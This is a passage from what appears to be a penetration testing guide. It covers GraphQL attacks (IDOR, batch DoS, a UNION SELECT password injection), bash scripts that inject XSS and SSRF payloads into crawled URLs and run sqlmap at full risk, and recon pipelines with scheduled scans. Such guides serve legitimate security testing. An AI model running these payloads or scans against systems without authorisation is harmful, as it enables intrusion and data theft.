# Introspection query for schema discovery
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
...FullType
}
}
}
# IDOR in GraphQL
query {
user(id: "1") { # Try different IDs
name
email
creditCard # Look for sensitive fields
}
}
# Batch attacks / DoS
query {
user1: user(id: "1") { name }
user2: user(id: "2") { name }
user3: user(id: "3") { name }
# ... repeat 1000 times
}
# SQL injection in GraphQL arguments
query {
product(name: "item' UNION SELECT password FROM users--") {
name
price
}
}
Testing Methodology & Automation#
# Comprehensive web application testing script
#!/bin/bash
target="$1"
if [[ -z "$target" ]]; then
echo "Usage: $0 <target_url>"
exit 1
fi
echo "Starting comprehensive web application security test on: $target"
# 1. Basic reconnaissance
echo "[+] Running reconnaissance..."
whatweb "$target"
nmap -sV -p 80,443,8080,8443 $(echo "$target" | sed 's|https\?://||' | cut -d'/' -f1)
# 2. Directory enumeration
echo "[+] Directory enumeration..."
gobuster dir -u "$target" -w /usr/share/wordlists/dirb/common.txt -x php,html,js,txt
# 3. Parameter discovery
echo "[+] Parameter discovery..."
paramspider -d $(echo "$target" | sed 's|https\?://||' | cut -d'/' -f1)
# 4. Vulnerability scanning
echo "[+] Running automated vulnerability scans..."
# XSS testing
echo "[+] Testing for XSS..."
echo "$target" | hakrawler | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do
curl -s "$url" | grep -q "alert(1)" && echo "Potential XSS: $url"
done
# SQL injection testing
echo "[+] Testing for SQL injection..."
sqlmap -u "$target" --batch --level=3 --risk=3 --dbs
# SSRF testing
echo "[+] Testing for SSRF..."
echo "$target" | hakrawler | grep "=" | qsreplace "http://burpcollaborator.net" | while read url; do
curl -s "$url" >/dev/null
done
# 5. Technology stack analysis
echo "[+] Analyzing technology stack..."
wappalyzer "$target"
# 6. SSL/TLS testing
echo "[+] SSL/TLS analysis..."
sslscan "$target"
# 7. Generate report
echo "[+] Test completed. Check individual tool outputs for detailed results."
# Usage example:
# ./comprehensive_test.sh https://target.com
Tool Integration & Automation#
Burp Suite Extensions#
# Essential Burp Extensions for Web VAPT:
# 1. Active Scanner++
# Enhanced active scanning with additional checks
# 2. Param Miner
# Discovers hidden parameters and cache poisoning
# 3. JWT Editor
# Comprehensive JWT testing capabilities
# 4. Software Vulnerability Scanner
# Integrates with vulnerability databases
# 5. Collaborator Everywhere
# Adds Collaborator payloads to all requests
# 6. CSRF Scanner
# Automated CSRF detection and PoC generation
# 7. Upload Scanner
# Comprehensive file upload testing
# Installing extensions:
# Extender → BApp Store → Install desired extensions
Command-Line Tool Chains#
# Reconnaissance pipeline
echo "target.com" | subfinder | httpx | nuclei -t cves/
# Parameter discovery and testing
echo "https://target.com" | hakrawler | uro | gf xss | dalfox pipe
# Directory enumeration chain
gobuster dir -u https://target.com -w wordlist.txt | tee dirs.txt
cat dirs.txt | httpx -status-code | grep 200
# Vulnerability scanning pipeline
naabu -host target.com | httpx | nuclei -t vulnerabilities/
# Custom automation script
#!/bin/bash
domain="$1"
output_dir="results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$output_dir"
# Phase 1: Reconnaissance
echo "[+] Starting reconnaissance..."
subfinder -d "$domain" -o "$output_dir/subdomains.txt"
httpx -l "$output_dir/subdomains.txt" -o "$output_dir/live_hosts.txt"
# Phase 2: Technology detection
echo "[+] Technology detection..."
whatweb -i "$output_dir/live_hosts.txt" --log-brief="$output_dir/tech.txt"
# Phase 3: Directory enumeration
echo "[+] Directory enumeration..."
while read host; do
gobuster dir -u "$host" -w /usr/share/wordlists/dirb/common.txt \
-o "$output_dir/dirs_$(echo $host | tr '/' '_').txt"
done < "$output_dir/live_hosts.txt"
# Phase 4: Vulnerability scanning
echo "[+] Vulnerability scanning..."
nuclei -l "$output_dir/live_hosts.txt" -o "$output_dir/nuclei_results.txt"
# Phase 5: Parameter discovery
echo "[+] Parameter discovery..."
while read host; do
paramspider -d "$(echo $host | sed 's|https\?://||')" -o "$output_dir/params_$(echo $host | tr '/' '_').txt"
done < "$output_dir/live_hosts.txt"
# Phase 6: Generate final report
echo "[+] Generating report..."
cat > "$output_dir/summary.md" << EOF
# Security Assessment Summary for $domain
## Discovered Subdomains
$(cat "$output_dir/subdomains.txt" | wc -l) subdomains found
## Live Hosts
$(cat "$output_dir/live_hosts.txt" | wc -l) live hosts identified
## Vulnerabilities
$(cat "$output_dir/nuclei_results.txt" | wc -l) potential issues found
## Next Steps
1. Manual testing of identified endpoints
2. Deep dive into custom application logic
3. Social engineering assessment
4. Internal network testing (if applicable)
EOF
echo "[+] Assessment complete. Results saved in: $output_dir"
Continuous Security Testing#
# GitHub Actions workflow for automated security testing
# .github/workflows/security-scan.yml
name: Security Scan
on:
schedule:
- cron: '0 2 * * *' # Run daily at 2 AM
workflow_dispatch:
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v2
- name: Install tools
run: |
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
- name: Run security scan
run: |
echo "${{ secrets.TARGET_DOMAIN }}" | subfinder | httpx | nuclei -t cves/ -o results.txt
- name: Upload results
uses: actions/upload-artifact@v2
with:
name: security-scan-results
path: results.txt
# Cron job for regular testing
# Add to crontab: crontab -e
0 2 * * * /home/user/scripts/daily_security_scan.sh >> /var/log/security_scans.log 2>&1